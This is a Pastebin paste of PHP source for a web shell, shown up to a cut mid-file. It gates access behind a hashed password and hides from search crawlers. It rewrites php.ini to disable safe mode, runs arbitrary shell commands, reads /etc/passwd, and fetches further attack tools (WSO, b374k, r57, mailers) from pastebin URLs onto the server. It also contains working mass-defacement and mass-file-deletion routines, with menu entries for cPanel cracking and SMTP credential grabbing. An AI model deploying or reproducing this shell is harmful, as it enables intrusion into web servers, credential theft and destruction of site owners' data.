TrojanLove

Done

Dec 28th, 2016
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 117.07 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "9497032cf22801aa7a5221c8d2bc4e3a"; // default: Jancox
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21.         header('HTTP/1.0 404 Not Found');
  22.         exit;
  23.     }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>Crotz MZ</title>
  31. <style type="text/css">
  32. html {
  33.     margin: 20px auto;
  34.     background: #000000;
  35.     color: green;
  36.     text-align: center;
  37. }
  38. header {
  39.     color: green;
  40.     margin: 10px auto;
  41. }
  42. input[type=password] {
  43.     width: 250px;
  44.     height: 25px;
  45.     color: red;
  46.     background: #000000;
  47.     border: 1px dotted green;
  48.     padding: 5px;
  49.     margin-left: 20px;
  50.     text-align: center;
  51. }
  52. </style>
  53. </head>
  54. <center>
  55. <header>
  56. <img src="https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/fr/cp0/e15/q65/15726614_988515737958576_7973132495447767948_n.jpg?efg=eyJpIjoidCJ9&oh=4bd326fa872b8a87a28a9a228f50538a&oe=58E4B04E"/>
  57. <br>
  58.  <br>
  59. <form method="post">
  60. <input type="password" name="pass">
  61. </form>
  62. <?php
  63. exit;
  64. }
  65. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  66.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  67.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  68.     else
  69.         login_shell();
  70. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  71.     @ob_clean();
  72.     $file = $_GET['file'];
  73.     header('Content-Description: File Transfer');
  74.     header('Content-Type: application/octet-stream');
  75.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  76.     header('Expires: 0');
  77.     header('Cache-Control: must-revalidate');
  78.     header('Pragma: public');
  79.     header('Content-Length: ' . filesize($file));
  80.     readfile($file);
  81.     exit;
  82. }
  83. ?>
  84. <html>
  85. <head>
  86. <center>
  87. <title>Crootz Cuk</title>
  88. <meta name='author' content='D4RKNE55'>
  89. <meta charset="UTF-8">
  90. <center><style type='text/css'>
  91. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  92. html {
  93.     background: url('https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/fr/cp0/e15/q65/12919787_1125290587533393_8266467468049254130_n.jpg?efg=eyJpIjoidCJ9&oh=94bd4ca1bc435fea98f3592ec98d9fc7&oe=58DDD1F8');
  94.     color: #ffffff;
  95.     font-family: 'abel';
  96.     font-size: 13px;
  97.     width: 100%;
  98. }
  99. li {
  100.     display: inline;
  101.     margin: 5px;
  102.     padding: 5px;
  103. }
  104. table, th, td {
  105.     border-collapse:collapse;
  106.     font-family: Tahoma, Geneva, sans-serif;
  107.     background: transparent;
  108.     font-family: 'abel';
  109.     font-size: 13px;
  110. }
  111. .table_home, .th_home, .td_home {
  112.     border: 1px solid #ffffff;
  113. }
  114. th {
  115.     padding: 10px;
  116. }
  117. a {
  118.     color: #ffffff;
  119.     text-decoration: none;
  120. }
  121. a:hover {
  122.     color: gold;
  123.     text-decoration: underline;
  124. }
  125. b {
  126.     color: gold;
  127. }
  128. input[type=text], input[type=password],input[type=submit] {
  129.     background: transparent;
  130.     color: #ffffff;
  131.     border: 1px solid #ffffff;
  132.     margin: 5px auto;
  133.     padding-left: 5px;
  134.     font-family: 'abel';
  135.     font-size: 13px;
  136. }
  137. textarea {
  138.     border: 1px solid #ffffff;
  139.     width: 100%;
  140.     height: 400px;
  141.     padding-left: 5px;
  142.     margin: 10px auto;
  143.     resize: none;
  144.     background: transparent;
  145.     color: #ffffff;
  146.     font-family: 'abel';
  147.     font-size: 13px;
  148. }
  149. select {
  150.     width: 152px;
  151.     background: #000000;
  152.     color: cyan;
  153.     border: 1px solid #ffffff;
  154.     margin: 5px auto;
  155.     padding-left: 5px;
  156.     font-family: 'abel';
  157.     font-size: 13px;
  158. }
  159. option:hover {
  160.     background: cyan;
  161.     color: #000000;
  162. }
  163. </style>
  164. </head>
  165. <center>
  166. <?php
  167. if (file_exists("php.ini")){
  168. }else{
  169. $img = fopen('php.ini', 'w');
  170. $sec = "safe_mode = OFF
  171. disable_funtions = NONE";
  172. fwrite($img ,$sec);
  173. fclose($img);}     
  174. function w($dir,$perm) {
  175.     if(!is_writable($dir)) {
  176.         return "<font color=red>".$perm."</font>";
  177.     } else {
  178.         return "<font color=lime>".$perm."</font>";
  179.     }
  180. }
  181. function exe($cmd) {    
  182. if(function_exists('system')) {        
  183.         @ob_start();       
  184.         @system($cmd);     
  185.         $buff = @ob_get_contents();        
  186.         @ob_end_clean();       
  187.         return $buff;  
  188.     } elseif(function_exists('exec')) {        
  189.         @exec($cmd,$results);      
  190.         $buff = "";        
  191.         foreach($results as $result) {         
  192.             $buff .= $result;      
  193.         } return $buff;    
  194.     } elseif(function_exists('passthru')) {        
  195.         @ob_start();       
  196.         @passthru($cmd);       
  197.         $buff = @ob_get_contents();        
  198.         @ob_end_clean();       
  199.         return $buff;  
  200.     } elseif(function_exists('shell_exec')) {      
  201.         $buff = @shell_exec($cmd);     
  202.         return $buff;  
  203.     }
  204. }
  205. function perms($file){
  206. $perms = fileperms($file);
  207. if (($perms & 0xC000) == 0xC000) {
  208. $info = 's';
  209. } elseif (($perms & 0xA000) == 0xA000) {
  210. $info = 'l';
  211. } elseif (($perms & 0x8000) == 0x8000) {
  212. $info = '-';
  213. } elseif (($perms & 0x6000) == 0x6000) {
  214. $info = 'b';
  215. } elseif (($perms & 0x4000) == 0x4000) {
  216. $info = 'd';
  217. } elseif (($perms & 0x2000) == 0x2000) {
  218. $info = 'c';
  219. } elseif (($perms & 0x1000) == 0x1000) {
  220. $info = 'p';
  221. } else {
  222. $info = 'u';
  223. }
  224. $info .= (($perms & 0x0100) ? 'r' : '-');
  225. $info .= (($perms & 0x0080) ? 'w' : '-');
  226. $info .= (($perms & 0x0040) ?
  227. (($perms & 0x0800) ? 's' : 'x' ) :
  228. (($perms & 0x0800) ? 'S' : '-'));
  229. $info .= (($perms & 0x0020) ? 'r' : '-');
  230. $info .= (($perms & 0x0010) ? 'w' : '-');
  231. $info .= (($perms & 0x0008) ?
  232. (($perms & 0x0400) ? 's' : 'x' ) :
  233. (($perms & 0x0400) ? 'S' : '-'));
  234. $info .= (($perms & 0x0004) ? 'r' : '-');
  235. $info .= (($perms & 0x0002) ? 'w' : '-');
  236. $info .= (($perms & 0x0001) ?
  237. (($perms & 0x0200) ? 't' : 'x' ) :
  238. (($perms & 0x0200) ? 'T' : '-'));
  239. return $info;
  240. }
  241. function hdd($s) {
  242. if($s >= 1073741824)
  243. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  244. elseif($s >= 1048576)
  245. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  246. elseif($s >= 1024)
  247. return sprintf('%1.2f',$s / 1024 ) .' KB';
  248. else
  249. return $s .' B';
  250. }
  251. function ambilKata($param, $kata1, $kata2){
  252.     if(strpos($param, $kata1) === FALSE) return FALSE;
  253.     if(strpos($param, $kata2) === FALSE) return FALSE;
  254.     $start = strpos($param, $kata1) + strlen($kata1);
  255.     $end = strpos($param, $kata2, $start);
  256.     $return = substr($param, $start, $end - $start);
  257.     return $return;
  258. }
  259. if(get_magic_quotes_gpc()) {
  260.     function idx_ss($array) {
  261.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  262.     }
  263.     $_POST = idx_ss($_POST);
  264. }
  265. function CreateTools($names,$lokasi){
  266.     if ( $_GET['create'] == $names ){
  267.         $a= "".$_SERVER['SERVER_NAME']."";
  268. $b= dirname($_SERVER['PHP_SELF']);
  269. $c = "/cox_tools/".$names.".php";
  270. if (file_exists('cox_tools/'.$names.'.php')){
  271.     echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
  272.     }
  273.     else {mkdir("cox_tools", 0777);
  274. file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
  275. echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
  276.  
  277. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  278. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  279. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  280. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  281. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  282. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  283. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  284. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  285. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  286. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  287. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  288. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  289. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  290. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  291. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  292. if(isset($_GET['dir'])) {
  293.     $dir = $_GET['dir'];
  294.     chdir($_GET['dir']);
  295. } else {
  296.     $dir = getcwd();
  297. }
  298. $dir = str_replace("\\","/",$dir);
  299. $scdir = explode("/", $dir);
  300. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  301. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  302. $ds = @ini_get("disable_functions");
  303. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  304. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  305. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  306. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  307. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  308. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  309. if(!function_exists('posix_getegid')) {
  310.     $user = @get_current_user();
  311.     $uid = @getmyuid();
  312.     $gid = @getmygid();
  313.     $group = "?";
  314. } else {
  315.     $uid = @posix_getpwuid(posix_geteuid());
  316.     $gid = @posix_getgrgid(posix_getegid());
  317.     $user = $uid['name'];
  318.     $uid = $uid['uid'];
  319.     $group = $gid['name'];
  320.     $gid = $gid['gid'];
  321. }
  322. $d0mains = @file("/etc/named.conf");
  323.             $users=@file('/etc/passwd');
  324.         if($d0mains)
  325.         {
  326.             $count;  
  327.             foreach($d0mains as $d0main)
  328.             {
  329.                 if(@ereg("zone",$d0main))
  330.                 {
  331.                     preg_match_all('#zone "(.*)"#', $d0main, $domains);
  332.                     flush();
  333.                     if(strlen(trim($domains[1][0])) > 2)
  334.                     {
  335.                         flush();
  336.                         $count++;
  337.                     }
  338.                 }
  339.             }
  340.         }
  341.  
  342. $sport=$_SERVER['SERVER_PORT'];
  343. echo "<table style='width:100%'>";
  344. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  345. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
  346. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  347. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  348. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  349. echo "<tr><td>Port :<font color=lime>  $sport</font> </td></tr>";
  350. echo "<tr><td>Safe Mode: $sm</td></tr>";
  351. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  352. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
  353. echo "<tr><td>Current DIR: ";
  354. foreach($scdir as $c_dir => $cdir) {   
  355.     echo "<a href='?dir=";
  356.     for($i = 0; $i <= $c_dir; $i++) {
  357.         echo $scdir[$i];
  358.         if($i != $c_dir) {
  359.         echo "/";
  360.         }
  361.     }
  362.     echo "'>$cdir</a>/";
  363. }
  364. echo "</td></tr></table><hr>";
  365. echo "<center>";
  366. echo "<ul>";
  367. echo "<li>[ <a href='?'>Home</a> ]</li>";
  368. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  369. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  370. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  371. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  372. echo "<li>[ <a href='?dir=$dir&do=lcf'>LiteSpeed Config</a> ]</li>";
  373. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  374. echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
  375. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  376. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  377. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  378. echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
  379. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
  380. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  381. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  382. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  383. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  384. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  385. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  386. echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br></li>";
  387. echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
  388. echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
  389. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  390. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
  391. echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
  392. echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
  393. echo "</ul>";
  394. echo "</center>";
  395. echo "<hr>";
  396. if($_GET['do'] == 'upload') {
  397.     echo "<center>";
  398.     if($_POST['upload']) {
  399.         if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  400.             $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  401.         } else {
  402.             $act = "<font color=red>failed to upload file</font>";
  403.         }
  404.     }
  405.     echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
  406.     echo $act;
  407.     echo "</center>";
  408. }
  409.  elseif($_GET['do'] == 'cmd') {
  410.     echo "<form method='post'>
  411.     <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  412.     <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  413.     </form>";
  414.     if($_POST['do_cmd']) {
  415.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  416.     }
  417. } elseif($_GET['do'] == 'mass_deface') {
  418.     echo "<center><form action=\"\" method=\"post\">\n";
  419.     $dirr=$_POST['d_dir'];
  420.     $index = $_POST["script"];
  421.     $index = str_replace('"',"'",$index);
  422.     $index = stripslashes($index);
  423.     function edit_file($file,$index){
  424.         if (is_writable($file)) {
  425.         clear_fill($file,$index);
  426.         echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  427.         }
  428.         else {
  429.             echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  430.             }
  431.             }
  432.     function hapus_massal($dir,$namafile) {
  433.         if(is_writable($dir)) {
  434.             $dira = scandir($dir);
  435.             foreach($dira as $dirb) {
  436.                 $dirc = "$dir/$dirb";
  437.                 $lokasi = $dirc.'/'.$namafile;
  438.                 if($dirb === '.') {
  439.                     if(file_exists("$dir/$namafile")) {
  440.                         unlink("$dir/$namafile");
  441.                     }
  442.                 } elseif($dirb === '..') {
  443.                     if(file_exists("".dirname($dir)."/$namafile")) {
  444.                         unlink("".dirname($dir)."/$namafile");
  445.                     }
  446.                 } else {
  447.                     if(is_dir($dirc)) {
  448.                         if(is_writable($dirc)) {
  449.                             if(file_exists($lokasi)) {
  450.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  451.                                 unlink($lokasi);
  452.                                 $idx = hapus_massal($dirc,$namafile);
  453.                             }
  454.                         }
  455.                     }
  456.                 }
  457.             }
  458.         }
  459.     }
  460.     function clear_fill($file,$index){
  461.         if(file_exists($file)){
  462.             $handle = fopen($file,'w');
  463.             fwrite($handle,'');
  464.             fwrite($handle,$index);
  465.             fclose($handle);  } }
  466.  
  467.     function gass(){
  468.         global $dirr , $index ;
  469.         chdir($dirr);
  470.         $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  471.         $files = scandir($dirr) ;
  472.         $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  473.         sort($files);
  474.         $n = 0 ;
  475.         foreach ($files as $file){
  476.             if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  477.                 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  478.                 edit_file($file,$index);
  479.                 flush();
  480.                 $n = $n +1 ;
  481.                 }
  482.                 }
  483.                 echo "<br>";
  484.                 echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
  485.                     }
  486.     function ListFiles($dirrall) {
  487.  
  488.     if($dh = opendir($dirrall)) {
  489.  
  490.        $files = Array();
  491.        $inner_files = Array();
  492.        $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  493.        $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  494.         while($file = readdir($dh)) {
  495.             if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  496.                 if(is_dir($dirrall . "/" . $file)) {
  497.                     $inner_files = ListFiles($dirrall . "/" . $file);
  498.                     if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  499.                 } else {
  500.                     array_push($files, $dirrall . "/" . $file);
  501.                 }
  502.             }
  503.             }
  504.  
  505.             closedir($dh);
  506.             return $files;
  507.         }
  508.     }
  509.     function gass_all(){
  510.         global $index ;
  511.         $dirrall=$_POST['d_dir'];
  512.         foreach (ListFiles($dirrall) as $key=>$file){
  513.             $file = str_replace('//',"/",$file);
  514.             echo "<center><strong>$file</strong> ===>";
  515.             edit_file($file,$index);
  516.             flush();
  517.         }
  518.         $key = $key+1;
  519.     echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
  520.     function sabun_massal($dir,$namafile,$isi_script) {
  521.         if(is_writable($dir)) {
  522.             $dira = scandir($dir);
  523.             foreach($dira as $dirb) {
  524.                 $dirc = "$dir/$dirb";
  525.                 $lokasi = $dirc.'/'.$namafile;
  526.                 if($dirb === '.') {
  527.                     file_put_contents($lokasi, $isi_script);
  528.                 } elseif($dirb === '..') {
  529.                     file_put_contents($lokasi, $isi_script);
  530.                 } else {
  531.                     if(is_dir($dirc)) {
  532.                         if(is_writable($dirc)) {
  533.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  534.                             file_put_contents($lokasi, $isi_script);
  535.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  536.                         }
  537.                     }
  538.                 }
  539.             }
  540.         }
  541.     }
  542.     if($_POST['mass'] == 'onedir') {
  543.         echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  544.         $ini="http://";
  545.         $mainpath=$_POST[d_dir];
  546.         $file=$_POST[d_file];
  547.         $dir=opendir("$mainpath");
  548.         $code=base64_encode($_POST[script]);
  549.         $indx=base64_decode($code);
  550.         while($row=readdir($dir)){
  551.         $start=@fopen("$row/$file","w+");
  552.         $finish=@fwrite($start,$indx);
  553.         if ($finish){
  554.             echo"$ini$row/$file\n";
  555.             }
  556.         }
  557.         echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  558.         $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  559.         $dir=opendir("$mainpath");
  560.         $code=base64_encode($_POST[script]);
  561.         $indx=base64_decode($code);
  562.         while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  563.         $finish=@fwrite($start,$indx);
  564.         if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  565.         }
  566.  
  567.     }
  568.     elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  569.     elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  570.     elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  571.     elseif($_POST['mass'] == 'massdeface') {
  572.         echo "<div style='margin: 5px auto; padding: 5px'>";
  573.         sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  574.         echo "</div>";  }
  575.     else {
  576.         echo "
  577.         <center><font style='text-decoration: underline;'>
  578.         Select Type:<br>
  579.         </font>
  580.         <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
  581.         <option value=\"onedir\">Mass Deface 1 Dir</option>
  582.         <option value=\"massdeface\">Mass Deface ALL Dir</option>
  583.         <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  584.         <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  585.         <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  586.         <font style='text-decoration: underline;'>Folder:</font><br>
  587.         <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  588.         <font style='text-decoration: underline;'>Filename:</font><br>
  589.         <input type='text' name='d_file' value='0x.php' style='width: 450px;' height='10'><br>
  590.         <font style='text-decoration: underline;'>Index File:</font><br>
  591.         <textarea name='script' style='width: 450px; height: 200px;'>Hacked By 0x1999</textarea><br>
  592.         <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  593.         </form></center>";
  594.         }
  595.     }
  596. elseif($_GET['do'] == 'zip') {
  597.     echo "<center><h1>Zip Menu</h1>";
  598. function rmdir_recursive($dir) {
  599.     foreach(scandir($dir) as $file) {
  600.        if ('.' === $file || '..' === $file) continue;
  601.        if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  602.        else unlink("$dir/$file");
  603.    }
  604.    rmdir($dir);
  605. }
  606. if($_FILES["zip_file"]["name"]) {
  607.     $filename = $_FILES["zip_file"]["name"];
  608.     $source = $_FILES["zip_file"]["tmp_name"];
  609.     $type = $_FILES["zip_file"]["type"];
  610.     $name = explode(".", $filename);
  611.     $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  612.     foreach($accepted_types as $mime_type) {
  613.         if($mime_type == $type) {
  614.             $okay = true;
  615.             break;
  616.         }
  617.     }
  618.     $continue = strtolower($name[1]) == 'zip' ? true : false;
  619.     if(!$continue) {
  620.         $message = "Itu Bukan Zip  , , GOBLOK COK";
  621.     }
  622.   $path = dirname(__FILE__).'/';
  623.   $filenoext = basename ($filename, '.zip');
  624.   $filenoext = basename ($filenoext, '.ZIP');
  625.   $targetdir = $path . $filenoext;
  626.   $targetzip = $path . $filename;
  627.   if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  628.   mkdir($targetdir, 0777);
  629.     if(move_uploaded_file($source, $targetzip)) {
  630.         $zip = new ZipArchive();
  631.         $x = $zip->open($targetzip);
  632.         if ($x === true) {
  633.             $zip->extractTo($targetdir);
  634.             $zip->close();
  635.  
  636.             unlink($targetzip);
  637.         }
  638.         $message = "<b>Sukses Gan :)</b>";
  639.     } else {   
  640.         $message = "<b>Error Gan :(</b>";
  641.     }
  642. }  
  643. echo '<table style="width:100%" border="1">
  644.  <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  645. <label>Zip File : <input type="file" name="zip_file" /></label>
  646. <input type="submit" name="submit" value="Upload And Unzip" />
  647. </form>';
  648. if($message) echo "<p>$message</p>";
  649. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";  
  650.     if($_POST['backup']){
  651.     $save=$_POST['save'];
  652.     function Zip($source, $destination)
  653. {
  654.     if (extension_loaded('zip') === true)
  655.     {
  656.         if (file_exists($source) === true)
  657.         {
  658.             $zip = new ZipArchive();
  659.  
  660.             if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  661.             {
  662.                 $source = realpath($source);
  663.  
  664.                 if (is_dir($source) === true)
  665.                 {
  666.                     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  667.  
  668.                     foreach ($files as $file)
  669.                     {
  670.                         $file = realpath($file);
  671.  
  672.                         if (is_dir($file) === true)
  673.                         {
  674.                             $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  675.                         }
  676.  
  677.                         else if (is_file($file) === true)
  678.                         {
  679.                             $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  680.                         }
  681.                     }
  682.                 }
  683.  
  684.                 else if (is_file($source) === true)
  685.                 {
  686.                     $zip->addFromString(basename($source), file_get_contents($source));
  687.                 }
  688.             }
  689.  
  690.             return $zip->close();
  691.         }
  692.     }
  693.  
  694.     return false;
  695. }
  696.     Zip($_POST['dir'],$save);
  697.     echo "Done , Save To <b>$save</b>";
  698.     }
  699.     echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  700.     if($_POST['extrak']){
  701.     $save=$_POST['save'];
  702.     $zip = new ZipArchive;
  703.     $res = $zip->open($_POST['dir']);
  704.     if ($res === TRUE) {
  705.         $zip->extractTo($save);
  706.         $zip->close();
  707.     echo 'Succes , Location : <b>'.$save.'</b>';
  708.     } else {
  709.     echo 'Gagal Mas :( Ntahlah !';
  710.     }
  711.     }
  712. echo '</tr></table>';  
  713.     }
  714.     elseif($_GET['do'] == 'shellchk') {
